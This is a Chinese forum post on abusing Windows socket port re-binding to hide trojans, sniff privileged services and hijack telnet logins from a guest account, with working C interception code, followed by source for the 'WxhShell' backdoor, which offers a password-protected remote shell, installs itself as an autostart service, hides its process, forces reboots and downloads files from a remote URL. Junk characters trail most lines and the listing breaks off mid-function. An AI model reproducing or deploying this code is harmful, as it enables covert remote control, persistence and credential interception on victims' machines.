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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Z*oGVr g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X09& S4  
}?H|9OS  
  saddr.sin_family = AF_INET; (llg!1  
khyV uWN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e\)PGjSI  
HtXzMSGo7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `M|fwlAJQ  
uRp-yu[nt%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 = i `o+H  
<Nkj)`%5iK  
  这意味着什么?意味着可以进行如下的攻击: b2ZKhS8  
>y2gfD  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &6!x;RB  
sqsBGFeG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SkS vu}  
Qxt ,@<IK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 uN'e~X6  
Y68oBUd_E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $2\ OBc=  
c!j$ -Ovm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )f,iey\-  
j]YS(Y@AY  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RtN5\  
+1_NB;,e  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 l&[x)W  
4s%vx]E  
  #include 6 fL=2a  
  #include *ewE{$UpK  
  #include {}~7Gi!  
  #include    Q.@9"&)t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   RYy_Ppn96f  
  int main() eqg|bc[i!t  
  { 7<=xc'*8t  
  WORD wVersionRequested; ~CQsv `  
  DWORD ret; [a`89'"z  
  WSADATA wsaData; 3Oy?_a$  
  BOOL val; %;~Vc{Xxt/  
  SOCKADDR_IN saddr; X6kCYTJYF  
  SOCKADDR_IN scaddr; B!4chxzUZ  
  int err; ]-&A )M6  
  SOCKET s; 2h%/exeS;  
  SOCKET sc; -X3yCK?re  
  int caddsize; >;LXy  
  HANDLE mt; /0A9d-Qd<  
  DWORD tid;   *?:V)!.2z  
  wVersionRequested = MAKEWORD( 2, 2 ); V9mqJRFJ:  
  err = WSAStartup( wVersionRequested, &wsaData );  At @H  
  if ( err != 0 ) { 3MH9%*w'0  
  printf("error!WSAStartup failed!\n"); yb\T< *  
  return -1; $SQ UN*/>  
  } *j6K QZ"  
  saddr.sin_family = AF_INET; MAb*4e#  
   m:SG1m_6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;SnpD)x@)  
o<cg9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {<+B>6^  
  saddr.sin_port = htons(23); mSdByT+dG  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~.7/o0'+  
  { Ve)P/Zz}^  
  printf("error!socket failed!\n"); \MI2^J N  
  return -1; lY -2e>  
  } uGt}Hn  
  val = TRUE; fqpbsM;M]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3b{ 7Z 2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =S+*= jA  
  { -Y>,\VEK  
  printf("error!setsockopt failed!\n"); 1K{u>T  
  return -1; 1*U)\vK~  
  } }$%j}F{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [`J91=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X} {z7[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e%[0 NVo  
iq1HA.X(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b'r</ncZ  
  { RD6n1Wb(@  
  ret=GetLastError(); aW=c.Q.  
  printf("error!bind failed!\n"); S3oyx#R('O  
  return -1; WoV"&9y  
  } {&dbxj-'  
  listen(s,2); f |%II,!3  
  while(1) qTZ\;[CrP"  
  { `D-P}hDm!  
  caddsize = sizeof(scaddr); 11VtC)  
  //接受连接请求 *qa.hqas  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Kd r7 V  
  if(sc!=INVALID_SOCKET) )fy-]Ky *  
  { 6;:z?Q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t| PQ4g<  
  if(mt==NULL) z`}z7e'>  
  { ^ YOC HXg  
  printf("Thread Creat Failed!\n"); XQ3"+M_KG  
  break; @vZeye  
  } jFDVd;#CS  
  } &2,3R}B/  
  CloseHandle(mt); q@Aw]Kh  
  } -=cxUDB  
  closesocket(s); X;bHlA-g  
  WSACleanup(); Kpg?' !I  
  return 0; CM%Rz-c  
  }   57wHo[CJ  
  DWORD WINAPI ClientThread(LPVOID lpParam) @ D,]v:  
  { K'Y/0:"*  
  SOCKET ss = (SOCKET)lpParam; T>hrKn.!D:  
  SOCKET sc; c>Tf@A og>  
  unsigned char buf[4096]; ,&~-Sq) ~  
  SOCKADDR_IN saddr; u\{MQB{T  
  long num; skm~~JM^  
  DWORD val; 1oc@]0n  
  DWORD ret; %9 3R/bx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "XQ3mi`y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   < z#.J]  
  saddr.sin_family = AF_INET; #iKPp0`K*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /3#h]5Y"T  
  saddr.sin_port = htons(23); .mHVJ5^:4\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sYhHh$mwA  
  { 2`^6``  
  printf("error!socket failed!\n"); )K8 ^}L,  
  return -1; `_k_}9Fr  
  } {,!!jeOO  
  val = 100; :_,a%hb+8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2"T b><^"  
  { Hu9nJ  
  ret = GetLastError(); znB+RiV8  
  return -1; O>N/6Z  
  } w\mTug  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @SH[<c  
  { 1s~rWnhVv  
  ret = GetLastError(); #zv&h`gY  
  return -1; 2D(sA  
  } g:O/~L0Xb  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vz(=3C[  
  { ow  
  printf("error!socket connect failed!\n"); ^OV!Q\j.q  
  closesocket(sc); CIui9XNU  
  closesocket(ss); p$G3<Z&7  
  return -1; !?R#e`}  
  } );T&pm:C>  
  while(1) q44vI  
  { :@@`N_2?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pP#D*hiP-g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7Vk9{x$z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 BL~#-Mm<|l  
  num = recv(ss,buf,4096,0); QW'*^^  
  if(num>0) ^I|i9MH  
  send(sc,buf,num,0); <& 3[|Ca  
  else if(num==0) l-cBN^^  
  break; \[qxOZ{  
  num = recv(sc,buf,4096,0); & kVa*O  
  if(num>0) p0y|pD  
  send(ss,buf,num,0); TV0sxod6  
  else if(num==0) mZXtHFMu  
  break; *|j4>W\J  
  } O8A(OfX  
  closesocket(ss); Wuo:PX'/9  
  closesocket(sc); daP_Kz/2K  
  return 0 ;  Lagk   
  } JU;`c>8=)  
$&qLr KJ  
#>HY+ ;  
========================================================== N34-z|"q  
GqNOWK2O  
下边附上一个代码,,WXhSHELL kN3 <l7  
pouXt-%2X  
========================================================== Kxa1F,dZ  
?-%(K^y4r  
#include "stdafx.h" w N`Nj m9!  
Qd\='*:!  
#include <stdio.h> glc<(V  
#include <string.h> PH&Qw2(Sx  
#include <windows.h> j!NXNuy:  
#include <winsock2.h>  Qe7=6<  
#include <winsvc.h> 7.Z-  
#include <urlmon.h> b{,v?7^4  
(J.Z+s$:2  
#pragma comment (lib, "Ws2_32.lib") fVgN8b|&'  
#pragma comment (lib, "urlmon.lib") ,?Ie!r$6  
%'i_iF8.  
#define MAX_USER   100 // 最大客户端连接数 9_d# F'#F  
#define BUF_SOCK   200 // sock buffer '_V9FWDZ  
#define KEY_BUFF   255 // 输入 buffer !;mn]wR>a  
^&C/,,U  
#define REBOOT     0   // 重启 }y+Qj6dP  
#define SHUTDOWN   1   // 关机 U}DE9e{/!  
}aVzr}!  
#define DEF_PORT   5000 // 监听端口 N8df1>mW  
;]0d{  
#define REG_LEN     16   // 注册表键长度 u?fM.=/N  
#define SVC_LEN     80   // NT服务名长度 j0X^,ot@m  
R`DzVBLl  
// 从dll定义API ||*F. p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #:N#i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WEX7=^k9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3M+rFB}tS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AaxQBTB  
QEbf]U=  
// wxhshell配置信息 <uS/8MP{  
struct WSCFG { (y6q}#<  
  int ws_port;         // 监听端口 -C(Yl=  
  char ws_passstr[REG_LEN]; // 口令 CJCxL\  
  int ws_autoins;       // 安装标记, 1=yes 0=no 82ixv<B  
  char ws_regname[REG_LEN]; // 注册表键名 L~)8Q(f  
  char ws_svcname[REG_LEN]; // 服务名 )-1e} VF(U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QD{1?aY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QwpX3 k6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (B$>o.(JA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?Y -;781  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `pCy:J?d>l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fap]`P~#L  
%L]sQq,  
}; C P&u  
*S.FM.r  
// default Wxhshell configuration 'dh{q`#0  
struct WSCFG wscfg={DEF_PORT, `?R{sNr.  
    "xuhuanlingzhe", =^rp= Az  
    1, onRTX|#  
    "Wxhshell", 2jC:uk  
    "Wxhshell", BF2U$-k4  
            "WxhShell Service", <'$>&^!^  
    "Wrsky Windows CmdShell Service", L[9Kh&c  
    "Please Input Your Password: ", Z ]  G#:  
  1, M_UmnqN1C  
  "http://www.wrsky.com/wxhshell.exe", KWjhkRK4]  
  "Wxhshell.exe" k'|yUJ,  
    }; )4qspy3  
ko[d axUB  
// 消息定义模块 CP; <B1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &xB9;v3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZAy/u@qt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :vEfJSA 1<  
char *msg_ws_ext="\n\rExit."; o[ks-C>jw  
char *msg_ws_end="\n\rQuit."; gI2'[OU  
char *msg_ws_boot="\n\rReboot..."; +:ms`Sr>  
char *msg_ws_poff="\n\rShutdown..."; T}msF  
char *msg_ws_down="\n\rSave to "; n!~ $Z/  
f1'X<VA  
char *msg_ws_err="\n\rErr!"; 8'zl\:@N  
char *msg_ws_ok="\n\rOK!"; 65O 8?I  
Dzu//_u  
char ExeFile[MAX_PATH]; 0U*f"5F  
int nUser = 0; n.'Ps+G(  
HANDLE handles[MAX_USER]; nt()UC`5  
int OsIsNt; `W+-0F@Y?@  
/*BU5  
SERVICE_STATUS       serviceStatus; e_3jyA@v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Twd*HH  
?0KIM* .  
// 函数声明 6la'\l#  
int Install(void); yFmy  
int Uninstall(void); BxV>s+o&]  
int DownloadFile(char *sURL, SOCKET wsh); u ynudO  
int Boot(int flag); zY*~2|q,s  
void HideProc(void); eXnSH$uI  
int GetOsVer(void); HbB8A#u  
int Wxhshell(SOCKET wsl); N3\RXXY  
void TalkWithClient(void *cs); 2p;I<C:Eo  
int CmdShell(SOCKET sock); Owu?ND  
int StartFromService(void); VO {z)_  
int StartWxhshell(LPSTR lpCmdLine); O>nMeU  
 *BM#fe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); acke q#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P`Now7! GW  
D4hT Hh  
// 数据结构和表定义 U*yOe*>  
SERVICE_TABLE_ENTRY DispatchTable[] = QP50.P5g  
{ F Xr\  
{wscfg.ws_svcname, NTServiceMain}, gXs9qY%=  
{NULL, NULL} _U4@W+lhX_  
}; (gVN<Es  
O"o|8 l}M/  
// 自我安装 tl~ZuS/  
int Install(void) Vi^vG`L9  
{ n!8W@qhew  
  char svExeFile[MAX_PATH]; e>c -b^{&  
  HKEY key; }{@y]DcdM4  
  strcpy(svExeFile,ExeFile); ?<N} Xh  
I2RXw  
// 如果是win9x系统,修改注册表设为自启动 l8+)Xk>   
if(!OsIsNt) {  *$DD+]2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hPz=Ec<zW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xgkCN$zQ`  
  RegCloseKey(key); LdOme [C1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E`qX|n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gSwHPm%zn  
  RegCloseKey(key); (91ts$jH  
  return 0; f2o6GC_  
    } Y7q Q` |  
  } lo6upir ZX  
} K2n#;fY %  
else { DQ/rx`BG  
u$5.GmKm  
// 如果是NT以上系统,安装为系统服务 8Ara^Xh}q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p8-$MF]] 6  
if (schSCManager!=0) }m^^6h  
{ $?z} yx$  
  SC_HANDLE schService = CreateService +'93%/:  
  ( YG= :lf  
  schSCManager, ZWS:-]P.  
  wscfg.ws_svcname, - uO(qUa#  
  wscfg.ws_svcdisp, o(?9vU  
  SERVICE_ALL_ACCESS, 8mdVh\i!Kf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ue Z(@6_:  
  SERVICE_AUTO_START, }dMX1e1h8  
  SERVICE_ERROR_NORMAL, r 20!   
  svExeFile, 90iveb21}  
  NULL, jxm#4  
  NULL, u0k'Jh]K  
  NULL, HfH_jnR*  
  NULL, 9SA%'  
  NULL "O$WfpKX  
  ); OIw[sum2  
  if (schService!=0) bw/mF5AsW  
  { qHyOaK Md  
  CloseServiceHandle(schService); #l-zY}&  
  CloseServiceHandle(schSCManager); D'ZUbAh!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZRw^< +  
  strcat(svExeFile,wscfg.ws_svcname); kRwY#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bk=;=K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dZ* &3.#D5  
  RegCloseKey(key); Y$Rte .?  
  return 0; m*iSW]&  
    } NPO!J^^  
  } EFI!b60mc  
  CloseServiceHandle(schSCManager); gG.+3=  
} 0(u}z  
} lsj9^z7  
!@ P{s'<:  
return 1; FxK!h.C.  
} 'ta&qp  
bW/T}FN D  
// 自我卸载 Z]2z*XD  
int Uninstall(void) (Lh!7g/0N  
{ eS4t0`kP  
  HKEY key; VE/m|3%t  
QALr   
if(!OsIsNt) { @J6r;4|&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z.)*/HGJm  
  RegDeleteValue(key,wscfg.ws_regname); @Q nKaZ8jW  
  RegCloseKey(key); }LX!dDuwA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 99'c\[fd'  
  RegDeleteValue(key,wscfg.ws_regname); [K4 k7$  
  RegCloseKey(key); .) %, R  
  return 0; ~^'t70 :D  
  } ,+v(?5[6  
} x@O )QaBN!  
} lF46W  
else { [z7]@v6b  
z,dF Dl$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z RwN#?x  
if (schSCManager!=0) x+%> 2qgj"  
{ NaQ~iY?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OaoHN& "  
  if (schService!=0) *Ev8f11i&  
  { $JBb] v8_  
  if(DeleteService(schService)!=0) { YB)I%5d;{  
  CloseServiceHandle(schService); M1 o@v0  
  CloseServiceHandle(schSCManager); vF@|cTRR)  
  return 0; 9Ou}8a?m"  
  } Y Fj#{C.  
  CloseServiceHandle(schService); ;F%EW`7  
  }  9[YnY~z)  
  CloseServiceHandle(schSCManager); h;#^?v!+  
} (+zU!9}I1  
} n ^qwE  
`)w=@9B)"  
return 1; G'wW-|  
} AhjCRYk+  
g.8^ )u  
// 从指定url下载文件  =mcQe^M  
int DownloadFile(char *sURL, SOCKET wsh) n >E1\($  
{ *N{k#d/  
  HRESULT hr; 9 MQwc  
char seps[]= "/"; |KPNl\%ID  
char *token; /Gb)BJk!  
char *file; &FZ~n?;hQ  
char myURL[MAX_PATH]; ) R5[a O  
char myFILE[MAX_PATH]; &K=) YpT  
,PKUgL}w  
strcpy(myURL,sURL); v-!Spf  
  token=strtok(myURL,seps); <+%y  
  while(token!=NULL) wF6a*b@v  
  { # X{lV]Z  
    file=token; [(8s\>T  
  token=strtok(NULL,seps); <5FGL96  
  } 0R]'HA>  
[{`&a#Q  
GetCurrentDirectory(MAX_PATH,myFILE); ?f:0GE7  
strcat(myFILE, "\\"); ?e+y7K}"]  
strcat(myFILE, file); [V;u7Z\r-  
  send(wsh,myFILE,strlen(myFILE),0); W5Jb5  
send(wsh,"...",3,0); DI-CC[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4QiV@#o:  
  if(hr==S_OK) ,CqGO %DY  
return 0; Lke!VS!P&  
else 2*n~r  
return 1; Z%I 'sWOd  
pOl6x iMx  
} l[WX77bp=  
:8+x&zn  
// 系统电源模块 A&-2f]L tl  
int Boot(int flag) ,^v_gc  
{ =XSupM[T  
  HANDLE hToken; ?AI`,*^  
  TOKEN_PRIVILEGES tkp; brqmi<*9"[  
6HVX4Z#VH  
  if(OsIsNt) { /;}o0 DYeW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {irl}EeyC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Nh4&3"g|  
    tkp.PrivilegeCount = 1; CzDg?wb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &RHx8zScP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K\lu;   
if(flag==REBOOT) { )U}`x }:,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bQ0+Y?,+/  
  return 0; 8KdcU [w]  
} 5GJa+St?  
else { dg(sRTi{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A*]sN8  
  return 0; JRtDjZ4>  
} \y7\RV>>3b  
  } |NFDrm  
  else { }tH_YF}u  
if(flag==REBOOT) { HMKogGTTo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w(y 9y9r]  
  return 0; criNeKa  
} kp)1s>c  
else { [ 4PiQyr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q((%sWp  
  return 0; X:(t,g*7  
} iE ,"YCK  
} ZNDjk  
QbWeQ[V{  
return 1; )fke;Y0  
} j4#S/:Q<7  
qUQP.4Z95  
// win9x进程隐藏模块 '|&?$g(\h  
void HideProc(void) r|953e  
{  SmAF+d  
_2}/rwVg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _znn`_N:v  
  if ( hKernel != NULL ) %=vU Z4  
  { iVM% ]\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )Tn(!.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M=5hp&=  
    FreeLibrary(hKernel); \@ N[  
  } +xYg<AFS  
]9 9; 7  
return; 1w 9zl}  
} @Ps1.  
qFY>/fCP4  
// 获取操作系统版本 {^R" V ,)  
int GetOsVer(void)  ~>3#c#[  
{ "@jYZm8  
  OSVERSIONINFO winfo; ~yRKNH*M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _G^4KwYp  
  GetVersionEx(&winfo); fQ2U |  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  S^5Qhv  
  return 1; M(Yt9}Z%Y  
  else vH"^a/95|  
  return 0; x^YsXzu  
} j>hBNz  
srS5-fs  
// 客户端句柄模块 ,esUls'nz'  
int Wxhshell(SOCKET wsl) [O3)s]|  
{ z{U^j:A  
  SOCKET wsh; % )}rQqQ  
  struct sockaddr_in client; (/_w23rr  
  DWORD myID; [](] "r  
C'joJEo  
  while(nUser<MAX_USER) O F?o  
{ 'W p~8}i@  
  int nSize=sizeof(client); mbIHzzW>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (+bt{Ma  
  if(wsh==INVALID_SOCKET) return 1; hx}X=7w  
, #(k|Zztc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Tnnj8I1v  
if(handles[nUser]==0) {_jbFJ  
  closesocket(wsh); ^^[A\'  
else |Tk'H&  
  nUser++; -9q3]nmT(  
  } XK@Ct eP"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !z+'mF?V+X  
-&LF`V&3w  
  return 0; uNvdlY]  
} 8iUKG  
?T>)7Y)  
// 关闭 socket ,Y0qGsV  
void CloseIt(SOCKET wsh) FBA th !E  
{ *XG.?%x*|  
closesocket(wsh); K'U=);W  
nUser--; L\t?^u  
ExitThread(0); AK$i0Rn;pm  
} }Y3*X: i7  
JuR x>F4  
// 客户端请求句柄 `t]8 [P5  
void TalkWithClient(void *cs) Lr(My3vF8q  
{ ded:yho   
)p 8P\Rl  
  SOCKET wsh=(SOCKET)cs;  ]l=iKl  
  char pwd[SVC_LEN]; F%:o6mT  
  char cmd[KEY_BUFF]; 6LzN#g  
char chr[1]; Rs "#gT  
int i,j; \{}5VVw-S?  
r]bG,?|  
  while (nUser < MAX_USER) { VO7&<Y}{x  
"1-z'TV=  
if(wscfg.ws_passstr) { Pt7yYl&n7^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v}uzUY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cnU()pd  
  //ZeroMemory(pwd,KEY_BUFF); &v/R-pz  
      i=0; fa(-&;q  
  while(i<SVC_LEN) { nm@.] "/  
j k/-7/r  
  // 设置超时 -nGLmMvd  
  fd_set FdRead; P,K^ oz}  
  struct timeval TimeOut; En YEAjX  
  FD_ZERO(&FdRead); ^-qz!ib  
  FD_SET(wsh,&FdRead); F<Z13]|  
  TimeOut.tv_sec=8; i dY Xv)R  
  TimeOut.tv_usec=0; +-MieiKv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;^so;>F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8AmB0W> e  
6JE_rAab  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E-HK=D&W/  
  pwd=chr[0]; &bCk`]j:  
  if(chr[0]==0xd || chr[0]==0xa) { 1<pb=H  
  pwd=0; +}^^]J$Nh  
  break; lN[#+n  
  } +qM2&M  
  i++; NrfAr}v'E  
    } g,\O}jT\'  
&nwk]+,0W#  
  // 如果是非法用户,关闭 socket LOe l6Ui  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '],G!U(  
} ;b0;66C8|  
)bK3%>H#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }ykc AK3U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y?JB%%WWI  
ST[E$XL6  
while(1) { xnC5WF7  
'OsRQ)E  
  ZeroMemory(cmd,KEY_BUFF); '2ACZcjDSv  
18ON`j  
      // 自动支持客户端 telnet标准   _*u$U  
  j=0; $NwPGy?%  
  while(j<KEY_BUFF) { z v:o$2Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )W!\D/C+  
  cmd[j]=chr[0]; ic?(`6N8  
  if(chr[0]==0xa || chr[0]==0xd) { z /f0 .RJ  
  cmd[j]=0; L [X "N  
  break; kC/An@J^#  
  } RtF!(gd  
  j++; {6HgKI  
    } Fz@U\\94z  
)S|&3\  
  // 下载文件 #++D|oE  
  if(strstr(cmd,"http://")) { X="]q|Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z KNac[:  
  if(DownloadFile(cmd,wsh)) He}"e&K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h%Uq  
  else (T =u_oe  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MQl GEJ  
  } co>IJzg  
  else { (iY2d_FQ[  
rnM C[  
    switch(cmd[0]) { O5A]{ W  
  Z#s-(wf  
  // 帮助 `/o|1vv@_  
  case '?': { %H=^U8WB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M8f[ck  
    break; \}; 4rm}V  
  } |pR'#M4j4A  
  // 安装 hCB _g  
  case 'i': { X@%4N<  
    if(Install()) zTfl#%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DfVSG1g  
    else 4\14HcTcK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :qtg`zM/4  
    break; >9X+\eg-  
    } X9ec*x  
  // 卸载 5YQJNP  
  case 'r': { lYy:A%yDT  
    if(Uninstall()) fTd":F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OTmr-l6  
    else Q*R9OF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qex::Qf  
    break;  +Q+!#  
    } c"NGE  
  // 显示 wxhshell 所在路径 )wk9(|[o  
  case 'p': { %WtF\p  
    char svExeFile[MAX_PATH]; x=V3_HI/}  
    strcpy(svExeFile,"\n\r"); >* ]B4Q  
      strcat(svExeFile,ExeFile); ,-1d2y  
        send(wsh,svExeFile,strlen(svExeFile),0); M0woJt[&  
    break; _`xhP-,`S  
    } s~g]`/h$r  
  // 重启 U DHMNubB  
  case 'b': { #kAk d-QY6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hh &s.ja  
    if(Boot(REBOOT)) g\@zQ^O?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *N%)+-   
    else { t CQf `  
    closesocket(wsh); X'usd$[ .  
    ExitThread(0); uo7[T*<Q  
    } "2`/mt Mon  
    break; L+0O=zJF  
    } Ob|v$C  
  // 关机 9zaSA,}  
  case 'd': { 7lG,.W|  
